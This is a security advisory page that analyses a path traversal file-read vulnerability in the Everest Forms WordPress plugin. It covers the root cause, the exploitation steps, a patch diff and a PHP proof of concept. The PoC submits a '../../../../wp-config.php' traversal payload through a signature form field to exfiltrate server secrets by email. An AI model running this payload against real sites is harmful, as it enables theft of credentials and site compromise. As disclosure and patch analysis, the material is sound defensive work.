Opens in a new tab
Published : November 15, 2026

CVE-2026-115483: Everest Forms <= 3.6.3 Unauthenticated Arbitrary File Read via 'Signature' Field Meta Key Branch of attach_entry_files PoC, Patch Analysis & Rule

Plugin everest-forms
Severity High (CVSS 7.5)
CWE 22
Vulnerable Version 3.6.3
Patched Version 3.6.4
Disclosed November 9, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-115483: This is an unauthenticated arbitrary file read vulnerability in the Everest Forms plugin (versions <= 3.6.3) via the attach_entry_files() function. The vulnerability has a CVSS score of 7.5 (High) and is classified as CWE-22 (Path Traversal). It allows attackers to read sensitive files such as wp-config.php by exploiting the email attachment functionality when a form contains a field with a meta key matching /signature_/ and the notification has file attachments enabled. Exploitation requires the Everest Forms Pro add-on for signature fields and file attachments.

Root Cause: The root cause lies in the attach_entry_files() method located in everest-forms/includes/abstracts/class-evf-form-fields-upload.php, around lines 1725-1735 and 1761-1766. The method iterates over entry meta values and, when a meta key matches /signature_/, it checks file_exists($meta_value) and directly appends $meta_value to $entry_files without validating that the path resides within the WordPress uploads directory. This allows an attacker to supply an arbitrary local file path (e.g., ../../wp-config.php) as the value of a signature field. The patched version introduces resolve_uploads_file_path() which uses realpath() and validates that the resolved path is inside the uploads directory or a specified subdirectory (e.g., everest_forms_uploads/{form_id}/signature). Additionally, the patch removes the unsafe signature check in the second loop, ensuring only file-upload and image-upload types are processed.

Exploitation: An attacker first identifies a form that has a field with meta key matching /signature_/ (e.g., a text field labelled "Signature") and whose email notification has "Attach Files" enabled. The attacker then submits the form with the signature field value set to a path traversal payload such as ../../../../wp-config.php. The form must be configured to send the notification to an attacker-controlled email address. Upon submission, the plugin processes the entry, and attach_entry_files() attaches the file at the provided path to the email. The attacker receives the email with the sensitive file attached, thereby reading arbitrary files on the server. No authentication is required.

Patch Analysis: The patch (version 3.6.4) replaces the direct file_exists() check with a new helper method resolve_uploads_file_path(). This method takes a file path and an optional subdirectory. It uses realpath() to resolve the path and verifies that the resolved path is a regular file and that it is contained within the uploads directory (or the specified subdirectory). If the path is outside, it returns false. The patch also removes the signature check in the second loop, ensuring that only file-upload and image-upload types are processed via the safe resolution method. This prevents path traversal because realpath() canonicalizes the path and the prefix check ensures it stays within the uploads directory. The patch also includes other unrelated security hardening, such as capability checks and sanitization, but the core fix for this CVE is the path validation.

Impact: Successful exploitation allows an unauthenticated attacker to read arbitrary files on the web server, including sensitive configuration files like wp-config.php, which contains database credentials, authentication keys, and other secrets. This can lead to complete compromise of the WordPress site and underlying database, potentially enabling further attacks such as privilege escalation, data theft, or remote code execution if other vulnerabilities are chained. The CVSS score of 7.5 reflects the high confidentiality impact.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/everest-forms/everest-forms.php
+++ b/everest-forms/everest-forms.php
@@ -3,7 +3,7 @@
  * Plugin Name: Everest Forms
  * Plugin URI: https://everestforms.net/
  * Description: Easily create contact form, payment form, conversational form, calculator, multi-step form, registration form, quiz form, survey form etc.
- * Version: 3.6.3
+ * Version: 3.6.4
  * Author: Everest Forms
  * Author URI: https://everestforms.net/
  * Text Domain: everest-forms
--- a/everest-forms/includes/abstracts/class-evf-form-fields-upload.php
+++ b/everest-forms/includes/abstracts/class-evf-form-fields-upload.php
@@ -1725,8 +1725,10 @@
 				}

 				if ( preg_match( '/signature_/', $meta_key ) ) {
-					if ( file_exists( $meta_value ) ) {
-						$entry_files [] = $meta_value;
+					$resolved = $this->resolve_uploads_file_path( $meta_value, 'everest_forms_uploads/' . absint( $get_entry->form_id ) . '/signature' );
+
+					if ( false !== $resolved && ! in_array( $resolved, $entry_files, true ) ) {
+						$entry_files[] = $resolved;
 					}
 				} else {
 					$files = explode( "n", $meta_value );
@@ -1759,11 +1761,7 @@
 					continue;
 				}

-				if ( preg_match( '/signature_/', $meta_key ) ) {
-					if ( is_string( $meta_value ) && file_exists( $meta_value ) ) {
-						$entry_files[] = $meta_value;
-					}
-				} elseif ( isset( $meta_value['type'] ) && ( 'file-upload' === $meta_value['type'] && ! empty( $meta_value['value_raw'] ) || 'image-upload' === $meta_value['type'] && isset( $meta_value['value_raw'] ) ) ) {
+				if ( isset( $meta_value['type'] ) && ( ( 'file-upload' === $meta_value['type'] && ! empty( $meta_value['value_raw'] ) ) || ( 'image-upload' === $meta_value['type'] && isset( $meta_value['value_raw'] ) ) ) ) {
 					foreach ( $meta_value['value_raw'] as $file_data ) {
 						$file_url = isset( $file_data['value'] ) && is_string( $file_data['value'] ) ? $file_data['value'] : '';
 						$resolved = $this->resolve_uploads_file_from_url( $file_url );
@@ -1798,7 +1796,6 @@
 		$file_url        = esc_url_raw( $file_url );
 		$upload_dir      = wp_get_upload_dir();
 		$uploads_baseurl = trailingslashit( $upload_dir['baseurl'] );
-		$uploads_basedir = wp_normalize_path( trailingslashit( $upload_dir['basedir'] ) );

 		if ( 0 !== strpos( $file_url, $uploads_baseurl ) ) {
 			return false;
@@ -1812,16 +1809,36 @@
 		}

 		$relative_path = ltrim( substr( $path, strlen( $base_path ) ), '/' );
-		$candidate     = wp_normalize_path( $uploads_basedir . $relative_path );
-		$resolved_path = realpath( $candidate );

-		if ( false === $resolved_path ) {
+		return $this->resolve_uploads_file_path( trailingslashit( $upload_dir['basedir'] ) . $relative_path );
+	}
+
+	/**
+	 * Resolve a local path to a real file inside the uploads directory.
+	 *
+	 * @since 3.6.4
+	 *
+	 * @param string $file_path File path to resolve.
+	 * @param string $sub_dir   Optional uploads subdirectory the file must be inside.
+	 * @return string|false Canonical file path, or false when it is not a regular file inside the directory.
+	 */
+	protected function resolve_uploads_file_path( $file_path, $sub_dir = '' ) {
+		if ( empty( $file_path ) || ! is_string( $file_path ) || false !== strpos( $file_path, "" ) ) {
+			return false;
+		}
+
+		$upload_dir      = wp_get_upload_dir();
+		$uploads_basedir = realpath( trailingslashit( $upload_dir['basedir'] ) . $sub_dir );
+		$resolved_path   = realpath( $file_path );
+
+		if ( false === $uploads_basedir || false === $resolved_path || ! is_file( $resolved_path ) ) {
 			return false;
 		}

-		$resolved_path = wp_normalize_path( $resolved_path );
+		$uploads_basedir = trailingslashit( wp_normalize_path( $uploads_basedir ) );
+		$resolved_path   = wp_normalize_path( $resolved_path );

-		if ( 0 !== strpos( $resolved_path, $uploads_basedir ) || ! is_file( $resolved_path ) ) {
+		if ( 0 !== strpos( $resolved_path, $uploads_basedir ) ) {
 			return false;
 		}

--- a/everest-forms/includes/blocks/class-evf-blocks.php
+++ b/everest-forms/includes/blocks/class-evf-blocks.php
@@ -68,10 +68,18 @@
 			defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? filemtime( evf()->plugin_path() . '/assets/js/admin/shortcode-form-embed.js' ) : EVF_VERSION,
 			true
 		);
+		$forms = array();
+		foreach ( (array) evf()->form->get_multiple( array( 'order' => 'DESC' ) ) as $form ) {
+			$forms[] = array(
+				'ID'         => $form->ID,
+				'post_title' => $form->post_title,
+			);
+		}
+
 		$form_block_data = array(
 			'evfRestApiNonce'          => wp_create_nonce( 'wp_rest' ),
 			'restURL'                  => rest_url(),
-			'forms'                    => evf()->form->get_multiple( array( 'order' => 'DESC' ) ),
+			'forms'                    => $forms,
 			'isPro'                    => defined( 'EFP_VERSION' ) && version_compare( EFP_VERSION, '1.7.3', '>=' ) ? true : false,
 			'isFrontendListingActive'  => defined( 'EVF_FRONTEND_LISTING_VERSION' ) && version_compare( EVF_FRONTEND_LISTING_VERSION, '1.0.0', '>=' ) ? true : false,
 			'isUserRegistrationActive' => defined( 'EVF_USER_REGISTRATION_VERSION' ) && version_compare( EVF_USER_REGISTRATION_VERSION, '1.1.3', '>=' ) ? true : false,
--- a/everest-forms/includes/class-everest-forms.php
+++ b/everest-forms/includes/class-everest-forms.php
@@ -23,7 +23,7 @@
 	 *
 	 * @var string
 	 */
-	public $version = '3.6.3';
+	public $version = '3.6.4';

 	/**
 	 * The single instance of the class.
--- a/everest-forms/includes/class-evf-post-types.php
+++ b/everest-forms/includes/class-evf-post-types.php
@@ -31,6 +31,54 @@
 		add_action( 'admin_bar_menu', array( __CLASS__, 'admin_bar_menus' ), 100 );
 		add_action( 'everest_forms_after_register_post_type', array( __CLASS__, 'maybe_flush_rewrite_rules' ) );
 		add_action( 'everest_forms_flush_rewrite_rules', array( __CLASS__, 'flush_rewrite_rules' ) );
+		add_filter( 'wp_insert_post_data', array( __CLASS__, 'preserve_custom_code' ), 10, 2 );
+	}
+
+	/**
+	 * Keep a form's stored custom CSS and JavaScript when the saving user cannot add unfiltered HTML.
+	 *
+	 * @since 3.6.4
+	 *
+	 * @param array $data    Slashed post data to be saved.
+	 * @param array $postarr Slashed post data passed to wp_insert_post().
+	 * @return array
+	 */
+	public static function preserve_custom_code( $data, $postarr ) {
+		if ( 'everest_form' !== $data['post_type'] || ! is_user_logged_in() || current_user_can( 'unfiltered_html' ) ) {
+			return $data;
+		}
+
+		$form_data = json_decode( wp_unslash( $data['post_content'] ), true );
+
+		if ( ! is_array( $form_data ) || ( isset( $form_data['settings'] ) && ! is_array( $form_data['settings'] ) ) ) {
+			return $data;
+		}
+
+		$stored  = empty( $postarr['ID'] ) ? array() : evf_decode( get_post_field( 'post_content', absint( $postarr['ID'] ), 'raw' ) );
+		$changed = false;
+
+		foreach ( array( 'evf-enable-custom-css', 'evf-custom-css', 'evf-enable-custom-js', 'evf-custom-js' ) as $key ) {
+			$old = isset( $stored['settings'][ $key ] ) ? $stored['settings'][ $key ] : null;
+			$new = isset( $form_data['settings'][ $key ] ) ? $form_data['settings'][ $key ] : null;
+
+			if ( $old === $new ) {
+				continue;
+			}
+
+			$changed = true;
+
+			if ( null === $old ) {
+				unset( $form_data['settings'][ $key ] );
+			} else {
+				$form_data['settings'][ $key ] = $old;
+			}
+		}
+
+		if ( $changed ) {
+			$data['post_content'] = evf_encode( $form_data );
+		}
+
+		return $data;
 	}

 	/**
@@ -77,6 +125,20 @@
 					'show_ui'             => true,
 					'description'         => __( 'This is where you can add new forms.', 'everest-forms' ),
 					'capability_type'     => 'post',
+					'capabilities'        => array(
+						'create_posts'           => 'everest_forms_create_forms',
+						'publish_posts'          => 'everest_forms_create_forms',
+						'edit_posts'             => 'everest_forms_edit_forms',
+						'edit_published_posts'   => 'everest_forms_edit_forms',
+						'edit_others_posts'      => 'everest_forms_edit_others_forms',
+						'edit_private_posts'     => 'everest_forms_edit_others_forms',
+						'read_private_posts'     => 'everest_forms_view_others_forms',
+						'delete_posts'           => 'everest_forms_delete_forms',
+						'delete_published_posts' => 'everest_forms_delete_forms',
+						'delete_others_posts'    => 'everest_forms_delete_others_forms',
+						'delete_private_posts'   => 'everest_forms_delete_others_forms',
+					),
+					'map_meta_cap'        => true,
 					'publicly_queryable'  => false,
 					'exclude_from_search' => true,
 					'show_in_rest'        => true,
--- a/everest-forms/includes/class-evf-template-loader.php
+++ b/everest-forms/includes/class-evf-template-loader.php
@@ -244,7 +244,7 @@
 	 * Hook in methods to enhance the form preview.
 	 */
 	public static function email_preview_init() {
-		if ( ! is_user_logged_in() || is_admin() ) {
+		if ( ! is_user_logged_in() || is_admin() || ! current_user_can( 'everest_forms_edit_form', self::$form_id ) ) {
 			return;
 		}

--- a/everest-forms/includes/evf-core-functions.php
+++ b/everest-forms/includes/evf-core-functions.php
@@ -4784,7 +4784,7 @@
 			$value = wp_kses_post( $data->value );
 		} elseif ( 'settings[external_url]' === $data->name || preg_match( '/[webhook_url]$/', $data->name ) ) {
 			$value = esc_url_raw( $data->value );
-		} elseif ( preg_match( '/evf_email_message/', $data->name ) || preg_match( '/telegram_message/', $data->name ) || preg_match( '/slack_message/', $data->name ) ) {
+		} elseif ( preg_match( '/evf_email_message/', $data->name ) || preg_match( '/telegram_message/', $data->name ) || preg_match( '/slack_message/', $data->name ) || preg_match( '/user_registration_email_.*_message/', $data->name ) ) {
 			$value = wp_kses_post( $data->value );
 		} elseif ( preg_match( '/calculation_field/', $data->name ) ) {
 			$value = wp_kses_post( $data->value );
--- a/everest-forms/includes/shortcodes/class-evf-shortcode-form.php
+++ b/everest-forms/includes/shortcodes/class-evf-shortcode-form.php
@@ -1373,7 +1373,7 @@

 		$form = evf()->form->get( $form_id );
 		// Check the form_data exist or not.
-		if ( ! $form ) {
+		if ( ! $form || ! in_array( $form->post_status, array( 'publish', 'inactive' ), true ) || ! self::can_output_custom_code( $form ) ) {
 			return;
 		}

@@ -1414,7 +1414,7 @@
 		}

 		if ( isset( $settings['evf-enable-custom-js'] ) && evf_string_to_bool( $settings['evf-enable-custom-js'] ) ) {
-			$custom_js = isset( $settings['evf-custom-js'] ) ? wp_specialchars_decode( wp_kses_decode_entities( $settings['evf-custom-js'] ) ) : '';
+			$custom_js = isset( $settings['evf-custom-js'] ) ? wp_specialchars_decode( wp_kses_decode_entities( $settings['evf-custom-js'] ), ENT_QUOTES ) : '';
 			if ( ! empty( $custom_js ) ) {
 				$custom_js = sprintf(
 					'( function( $ ) {
@@ -1447,6 +1447,24 @@
 	}

 	/**
+	 * Whether a form's custom CSS and JavaScript was saved by users allowed to add unfiltered HTML.
+	 *
+	 * @since 3.6.4
+	 *
+	 * @param WP_Post $form Form post.
+	 * @return bool
+	 */
+	private static function can_output_custom_code( $form ) {
+		if ( ! user_can( (int) $form->post_author, 'unfiltered_html' ) ) {
+			return false;
+		}
+
+		$last_editor = (int) get_post_meta( $form->ID, '_edit_last', true );
+
+		return ! $last_editor || user_can( $last_editor, 'unfiltered_html' );
+	}
+
+	/**
 	 * Function to enable the minimum form submission waiting time.
 	 *
 	 * @since 3.0.2
--- a/everest-forms/templates/emails/email-preview.php
+++ b/everest-forms/templates/emails/email-preview.php
@@ -20,7 +20,7 @@
 		</head>
 		<body <?php body_class(); ?> >
 			<?php
-			$connection_id = isset( $_GET['evf_email_preview'] ) ? $_GET['evf_email_preview'] : '';
+			$connection_id = isset( $_GET['evf_email_preview'] ) ? sanitize_text_field( wp_unslash( $_GET['evf_email_preview'] ) ) : ''; // phpcs:ignore WordPress.Security.NonceVerification
 			/**
 			 * Get email message from the specific email connection
 			 *
@@ -30,8 +30,14 @@
 				$form_data = array();

 				if ( ! empty( $_GET['form_id'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification
-					$connection_id = isset( $_GET['evf_email_preview'] ) ? $_GET['evf_email_preview'] : '';
-					$form_data     = evf()->form->get( absint( $_GET['form_id'] ), array( 'content_only' => true ) ); // phpcs:ignore WordPress.Security.NonceVerification
+					$connection_id = isset( $_GET['evf_email_preview'] ) ? sanitize_text_field( wp_unslash( $_GET['evf_email_preview'] ) ) : ''; // phpcs:ignore WordPress.Security.NonceVerification
+					$form_data     = evf()->form->get(
+						absint( $_GET['form_id'] ), // phpcs:ignore WordPress.Security.NonceVerification
+						array(
+							'content_only' => true,
+							'cap'          => 'everest_forms_edit_form',
+						)
+					);

 					if ( isset( $form_data['settings']['email'][ "$connection_id" ] ) && isset( $form_data['settings']['email'][ "$connection_id" ]['evf_email_message'] ) ) {
 						$email_preview_message = $form_data['settings']['email'][ "$connection_id" ]['evf_email_message'];

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-115483 - Everest Forms <= 3.6.3 - Unauthenticated Arbitrary File Read via 'Signature' Field Meta Key Branch of attach_entry_files

// This PoC demonstrates the vulnerability by submitting a form with a malicious signature field value.
// Requirements: Everest Forms Pro installed, a form with a signature field (meta key matching /signature_/)
// and email notification with "Attach Files" enabled, and the notification email set to an attacker-controlled address.
// The attacker must know the form ID and the field name for the signature field.

$target_url = 'http://example.com'; // Change to target WordPress site URL
$form_id = 1; // Change to the ID of the vulnerable form
$field_name = 'signature_1'; // Change to the meta key of the signature field (must match /signature_/)
$file_path = '../../../../wp-config.php'; // Path traversal payload to read wp-config.php

// Prepare the POST data to submit the form
$post_data = array(
    'action' => 'everest_forms_submit_form', // Typical action for form submission (may vary)
    'form_id' => $form_id,
    'everest_forms_ajax_nonce' => '', // Nonce may be required; if so, extract from form page
    $field_name => $file_path,
    // Include other required fields as per form configuration
);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Output the response (the attacker would receive the file via email, not in the HTTP response)
echo "HTTP Code: $http_coden";
echo "Response: $responsen";

// Note: The actual file exfiltration occurs via email. The attacker must check the email inbox
// for the notification containing the attached file (wp-config.php in this example).
// This PoC only triggers the submission; the email delivery is outside the scope of this script.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.